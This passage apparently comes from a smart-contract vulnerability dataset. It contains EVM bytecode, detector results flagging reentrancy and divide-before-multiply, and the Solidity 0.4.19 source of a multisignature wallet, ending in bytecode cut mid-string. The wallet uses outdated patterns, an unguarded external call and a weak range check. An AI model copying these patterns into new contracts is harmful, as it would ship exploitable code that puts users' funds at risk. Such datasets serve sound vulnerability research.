fffffff1602179055506060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050506000816003015490506040518060800160405280600015158152602001868152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152506012600087815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015590505080601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461240a9190613957565b925050819055508160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16867f6d1621bf4e378db6a3b37f46c49f217c521a286c073e7ba618d1045b393759708460405161249391906138c1565b60405180910390a45050505050565b60126020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030154905084565b6000600b54905090565b6005805461251690613b30565b80601f016020809104026020016040519081016040528092919081815260200182805461254290613b30565b801561258f5780601f106125645761010080835404028352916020019161258f565b820191906000526020600020905b81548152906001019060200180831161257257829003601f168201915b505050505081565b60085481565b600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461260957600080fd5b600a60009054906101000a900460ff161561262357600080fd5b6000600b541415612669576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612660906138a1565b60405180910390fd5b61271081111561267857600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fc90613861565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a6057600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285f57600d6000600c600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061285590613b06565b9190505550612890565b6009600081548092919061287290613b06565b9190505550600b600081548092919061288a90613b06565b91905055505b81600c600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e819080600181540180825580915050600190039060005260206000200160009091909190915055600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061295b90613b62565b9190505550600f829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808273ffffffffffffffffffffffffffffffffffffffff167f8a0e37b73a0d9c82e205d4d1a3ff3d0b57ce5f4d7bccf6bac03336dc101cb7ba60405160405180910390a35b5050565b600a60009054906101000a900460ff1681565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae857600080fd5b612710811115612af757600080fd5b6011600082815260200190815260200160002060000160009054906101000a900460ff1615612b2a57612b2981612e83565b5b81600c600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190612bcc90613b06565b9190505550600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190612c2190613b62565b91905055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001604051612c849190613824565b60405180910390a3808273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe4782a9260e28f20f6c01097a32edda3a69f4e34d48a8eb897adff09c331261360405160405180910390a460006012600083815260200190815260200160002090508273ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e7e578060030154601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612da99190613957565b925050819055506040518060800160405280600015158152602001838152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152506012600084815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301559050505b505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612eee57600080fd5b612710811115612efd57600080fd5b6040518060a001604052806000151581526020018281526020013373ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152506011600083815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050807f5304aea8b7f10d99d6ee937575e7ca4c9b97e703c9ac18114e79c86092397c0b60405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff16600c600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146130c957600080fd5b60003414156130d757600080fd5b66b1a2bc2ec500003410156130eb57600080fd5b6127108111156130fa57600080fd5b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516131439061371f565b60006040518083038185875af1925050503d8060008114613180576040519150601f19603f3d011682016040523d82523d6000602084013e613185565b606091505b5091509150816131ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c190613881565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16600c600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461342957600073ffffffffffffffffffffffffffffffffffffffff16600c600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461332457600d6000600c600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061331a90613b06565b919050555061333d565b6009600081548092919061333790613b06565b91905055505b83600c600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906133df90613b62565b9190505550828473ffffffffffffffffffffffffffffffffffffffff167f8a0e37b73a0d9c82e205d4d1a3ff3d0b57ce5f4d7bccf6bac03336dc101cb7ba60405160405180910390a35b50505050565b60136020528060005260406000206000915090505481565b60008135905061345681613cc7565b92915050565b60008135905061346b81613cde565b92915050565b60006020828403121561348357600080fd5b600061349184828501613447565b91505092915050565b600080604083850312156134ad57600080fd5b60006134bb85828601613447565b92505060206134cc8582860161345c565b9150509250929050565b6000602082840312156134e857600080fd5b60006134f68482850161345c565b91505092915050565b6000806040838503121561351257600080fd5b60006135208582860161345c565b92505060206135318582860161345c565b9150509250929050565b60008060006060848603121561355057600080fd5b600061355e8682870161345c565b935050602061356f8682870161345c565b925050604061358086828701613447565b9150509250925092565b600061359683836136f2565b60208301905092915050565b6135ab81613a6c565b82525050565b60006135bc82613907565b6135c6818561392a565b93506135d1836138f7565b8060005b838110156136025781516135e9888261358a565b97506135f48361391d565b9250506001810190506135d5565b5085935050505092915050565b61361881613a7e565b82525050565b61362781613ac1565b82525050565b600061363882613912565b6136428185613946565b9350613652818560208601613ad3565b61365b81613c38565b840191505092915050565b6000613673601b83613946565b915061367e82613c49565b602082019050919050565b6000613696601483613946565b91506136a182613c72565b602082019050919050565b60006136b960008361393b565b91506136c482613c9b565b600082019050919050565b60006136dc601583613946565b91506136e782613c9e565b602082019050919050565b6136fb81613aaa565b82525050565b61370a81613aaa565b82525050565b61371981613ab4565b82525050565b600061372a826136ac565b9150819050919050565b600060208201905061374960008301846135a2565b92915050565b6000602082019050818103600083015261376981846135b1565b905092915050565b6000602082019050613786600083018461360f565b92915050565b60006080820190506137a1600083018761360f565b6137ae6020830186613701565b6137bb60408301856135a2565b6137c86060830184613701565b95945050505050565b600060a0820190506137e6600083018861360f565b6137f36020830187613701565b61380060408301866135a2565b61380d6060830185613701565b61381a60808301846135a2565b9695505050505050565b6000602082019050613839600083018461361e565b92915050565b60006020820190508181036000830152613859818461362d565b905092915050565b6000602082019050818103600083015261387a81613666565b9050919050565b6000602082019050818103600083015261389a81613689565b9050919050565b600060208201905081810360008301526138ba816136cf565b9050919050565b60006020820190506138d66000830184613701565b92915050565b60006020820190506138f16000830184613710565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061396282613aaa565b915061396d83613aaa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139a2576139a1613bab565b5b828201905092915050565b60006139b882613aaa565b91506139c383613aaa565b9250826139d3576139d2613bda565b5b828204905092915050565b60006139e982613aaa565b91506139f483613aaa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a2d57613a2c613bab565b5b828202905092915050565b6000613a4382613aaa565b9150613a4e83613aaa565b925082821015613a6157613a60613bab565b5b828203905092915050565b6000613a7782613a8a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613acc82613aaa565b9050919050565b60005b83811015613af1578082015181840152602081019050613ad6565b83811115613b00576000848401525b50505050565b6000613b1182613aaa565b91506000821415613b2557613b24613bab565b5b600182039050919050565b60006002820490506001821680613b4857607f821691505b60208210811415613b5c57613b5b613c09565b5b50919050565b6000613b6d82613aaa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ba057613b9f613bab565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f416c726561647920636c61696d65642061206672656520656767210000000000600082015250565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b50565b7f4e6f206d6f7265206672656520656773206c6566740000000000000000000000600082015250565b613cd081613a6c565b8114613cdb57600080fd5b50565b613ce781613aaa565b8114613cf257600080fd5b5056fea26469706673582212201d9de02b0fe0124832554e23012b59b71e12efc9632d37fc3a9ed6c2356caceb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,309 |
0x1f0cf7afa0161b0d8e9ec076fb62bb00742d314a
|
pragma solidity ^0.4.19;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="3a494e5f5c5b54145d5f55485d5f7a595554495f5449434914545f4e">[email protected]</span>>
contract MultiSigWallet {
/**
* Constants
**/
uint constant public MAX_OWNER_COUNT = 50;
/**
* Storage
**/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/**
* Events
**/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/**
* Modifiers
**/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0);
_;
}
/**
* Public functions
**/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++) {
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length) {
changeRequirement(owners.length);
}
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++) {
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data)) {
Execution(transactionId);
} else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
if (count == required) {
return true;
}
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
count += 1;
}
}
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++) {
if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) {
count += 1;
}
}
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
/// @dev Returns list of transaction IDs in defined range.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
require(from <= to || to < transactionCount);
uint[] memory transactionIdsTemp = new uint[](to - from + 1);
uint count = 0;
uint i;
for (i = from; i <= to; i++) {
if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) {
transactionIdsTemp[count] = i;
count += 1;
}
}
_transactionIds = new uint[](count);
for (i = 0; i < count; i++) {
_transactionIds[i] = transactionIdsTemp[i];
}
}
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0) {
Deposit(msg.sender, msg.value);
}
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d80565b005b341561036957600080fd5b61037f6004808035906020019091905050610f82565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611068565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611134565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611190565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611224565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611399565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a6115c3565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115c9565b005b341561069e57600080fd5b6106b46004808035906020019091905050611683565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611860565b6040518082815260200191505060405180910390f35b341561075a57600080fd5b61076261187f565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b611884565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061188a565b005b341561080457600080fd5b61081a6004808035906020019091905050611ba1565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611f76565b506003805490506004541115610aaf57610aae6003805490506115c9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610beb57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7957838015610d2d575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d605750828015610d5f575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6c576001820191505b8080600101915050610cf6565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e1457600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b60016003805490500160045460328211158015610e585750818111155b8015610e65575060008114155b8015610e72575060008214155b1515610e7d57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ee99190611fa2565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561106057600160008581526020019081526020016000206000600383815481101515610fc057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611040576001820191505b6004548214156110535760019250611061565b8080600101915050610f8f565b5b5050919050565b600080600090505b60038054905081101561112e576001600084815260200190815260200160002060006003838154811015156110a157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611121576001820191505b8080600101915050611070565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611198611fce565b600380548060200260200160405190810160405280929190818152602001828054801561121a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d0575b5050505050905090565b61122c611fe2565b611234611fe2565b6000808688111580611247575060055487105b151561125257600080fd5b6001888803016040518059106112655750595b90808252806020026020018201604052509250600091508790505b868111151561131f578580156112b6575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112e957508480156112e8575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611312578083838151811015156112fd57fe5b90602001906020020181815250506001820191505b8080600101915050611280565b8160405180591061132d5750595b90808252806020026020018201604052509350600090505b8181101561138e57828181518110151561135b57fe5b90602001906020020151848281518110151561137357fe5b90602001906020020181815250508080600101915050611345565b505050949350505050565b6113a1611fce565b6113a9611fce565b6000806003805490506040518059106113bf5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561151e5760016000868152602001908152602001600020600060038381548110151561140c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115115760038181548110151561149457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114ce57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113db565b8160405180591061152c5750595b90808252806020026020018201604052509350600090505b818110156115bb57828181518110151561155a57fe5b90602001906020020151848281518110151561157257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611544565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160357600080fd5b600380549050816032821115801561161b5750818111155b8015611628575060008114155b8015611635575060008214155b151561164057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc42179